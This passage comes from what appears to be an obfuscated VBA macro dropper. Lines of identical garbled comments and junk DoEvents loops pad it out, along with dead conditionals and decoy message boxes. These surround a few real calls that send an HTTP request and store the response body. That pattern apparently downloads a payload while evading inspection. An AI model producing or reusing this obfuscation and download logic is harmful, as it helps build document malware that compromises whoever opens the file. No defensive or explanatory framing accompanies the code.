  882. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  883. DoEvents
  884. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  885. Next UUnQmcpS
  886. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  887.    RNNVUWVLESY.Send "cdgdf"
  888. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  889.  
  890. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  891.  
  892. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  893. If 513245 = 513245 + 1 Then End
  894. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  895. If 8859 < 75 Then
  896. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  897.  
  898. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  899. Dim xQXrxhZq As Integer
  900. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  901. Dim OZWgwsff As Integer
  902. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  903. For OZWgwsff = 0 To 5
  904. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  905. DoEvents
  906. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  907. Next OZWgwsff
  908. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  909. xQXrxhZq = 8
  910. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  911. Do While xQXrxhZq < 27
  912. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  913. Dim fBWhgKHl As Integer
  914. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  915. For fBWhgKHl = 0 To 1
  916. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  917. DoEvents
  918. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  919. Next fBWhgKHl
  920. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  921. DoEvents: xQXrxhZq = xQXrxhZq + 1
  922. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  923. Dim HQUlgpSS As Integer
  924. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  925. For HQUlgpSS = 0 To 3
  926. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  927. DoEvents
  928. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  929. Next HQUlgpSS
  930. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  931. Loop
  932. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  933.  
  934. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  935. Dim moREIdNI As Integer
  936. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  937. For moREIdNI = 0 To 8
  938. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  939. DoEvents
  940. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  941. Next moREIdNI
  942. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  943.        MsgBox ("nVNqdyMM87")
  944. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  945. End If
  946. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  947. If Len("uwlXubsn5916") = Len("kMmligtC") Then
  948. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  949.  
  950. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  951. Dim PtsLVNId As Integer
  952. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  953. Dim xNjIvmGT As Integer
  954. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  955. For xNjIvmGT = 0 To 5
  956. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  957. DoEvents
  958. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  959. Next xNjIvmGT
  960. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  961. PtsLVNId = 1
  962. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  963. Do While PtsLVNId < 23
  964. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  965. Dim acgFtQqy As Integer
  966. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  967. For acgFtQqy = 0 To 8
  968. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  969. DoEvents
  970. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  971. Next acgFtQqy
  972. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  973. DoEvents: PtsLVNId = PtsLVNId + 1
  974. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  975. Dim EpBXLFNL As Integer
  976. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  977. For EpBXLFNL = 0 To 7
  978. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  979. DoEvents
  980. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  981. Next EpBXLFNL
  982. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  983. Loop
  984. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  985.  
  986. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  987. Dim PlSCaYZV As Integer
  988. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  989. For PlSCaYZV = 0 To 9
  990. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  991. DoEvents
  992. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  993. Next PlSCaYZV
  994. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  995.       MsgBox ("Error !!!")
  996. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  997. End If
  998. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  999.  
  1000. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1001. Dim qaenIrWu As Integer
  1002. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1003. Dim wrzQUema As Integer
  1004. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1005. For wrzQUema = 0 To 9
  1006. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1007. DoEvents
  1008. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1009. Next wrzQUema
  1010. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1011. qaenIrWu = 6
  1012. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1013. Do While qaenIrWu < 63
  1014. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1015. Dim AkkAoEEm As Integer
  1016. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1017. For AkkAoEEm = 0 To 1
  1018. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1019. DoEvents
  1020. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1021. Next AkkAoEEm
  1022. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1023. DoEvents: qaenIrWu = qaenIrWu + 1
  1024. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1025. Dim rreRoWbD As Integer
  1026. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1027. For rreRoWbD = 0 To 9
  1028. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1029. DoEvents
  1030. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1031. Next rreRoWbD
  1032. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1033. Loop
  1034. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1035.  
  1036. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1037. Dim CXsXTfbR As Integer
  1038. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1039. For CXsXTfbR = 0 To 8
  1040. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1041. DoEvents
  1042. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1043. Next CXsXTfbR
  1044. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1045.    ZEFGKWXQJQF = RNNVUWVLESY.responseBody
  1046. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1047.  
  1048. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1049.  
  1050. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1051. If 632496 = 632496 + 1 Then End
  1052. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1053. If 7193 < 95 Then
  1054. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1055.  
  1056. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1057. Dim qNuqFNgT As Integer
  1058. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1059. Dim wtMbkHEu As Integer
  1060. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1061. For wtMbkHEu = 0 To 6
  1062. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1063. DoEvents
  1064. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1065. Next wtMbkHEu
  1066. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1067. qNuqFNgT = 6
  1068. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1069. Do While qNuqFNgT < 35
  1070. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1071. Dim gKcqWXIb As Integer
  1072. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1073. For gKcqWXIb = 0 To 7
  1074. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1075. DoEvents
  1076. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1077. Next gKcqWXIb
  1078. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1079. DoEvents: qNuqFNgT = qNuqFNgT + 1
  1080. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1081. Dim lmnBHclQ As Integer
  1082. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1083. For lmnBHclQ = 0 To 2
  1084. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1085. DoEvents
  1086. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1087. Next lmnBHclQ
  1088. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1089. Loop
  1090. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1091.  
  1092. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1093. Dim gMkIhxaK As Integer
  1094. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1095. For gMkIhxaK = 0 To 2
  1096. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1097. DoEvents
  1098. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1099. Next gMkIhxaK
  1100. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1101.        MsgBox ("tzMQGSOW48")
  1102. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1103. End If
  1104. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1105. If Len("aTHfHHUQ4159") = Len("TLSzZsgG") Then
  1106. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1107.  
  1108. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1109. Dim ksUuEtPh As Integer
  1110. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1111. Dim tzubsxGd As Integer
  1112. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1113. For tzubsxGd = 0 To 6
  1114. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1115. DoEvents
  1116. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1117. Next tzubsxGd
  1118. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1119. ksUuEtPh = 7
  1120. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1121. Do While ksUuEtPh < 75
  1122. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1123. Dim DaqiASdG As Integer
  1124. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1125. For DaqiASdG = 0 To 9
  1126. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1127. DoEvents
  1128. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1129. Next DaqiASdG
  1130. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1131. DoEvents: ksUuEtPh = ksUuEtPh + 1
  1132. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1133. Dim tVvrbEIW As Integer
  1134. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1135. For tVvrbEIW = 0 To 7
  1136. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1137. DoEvents
  1138. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1139. Next tVvrbEIW
  1140. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1141. Loop
  1142. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1143.  
  1144. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1145. Dim DzuxwHLj As Integer
  1146. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1147. For DzuxwHLj = 0 To 6
  1148. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1149. DoEvents
  1150. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1151. Next DzuxwHLj
  1152. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1153.       MsgBox ("Error !!!")
  1154. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1155. End If
  1156. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1157.  
  1158. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1159. Dim EXnPmWgm As Integer
  1160. 'ÈÃØðà80ð4 9ðØ ðàèøçóêð ïçðê çùó9ðØÙÐ èøùóèêùï ëðøùèÎÈ äîè êëóï ðøùèÄË èåêðêåð
  1161. Dim HPOsHlCC As Integer
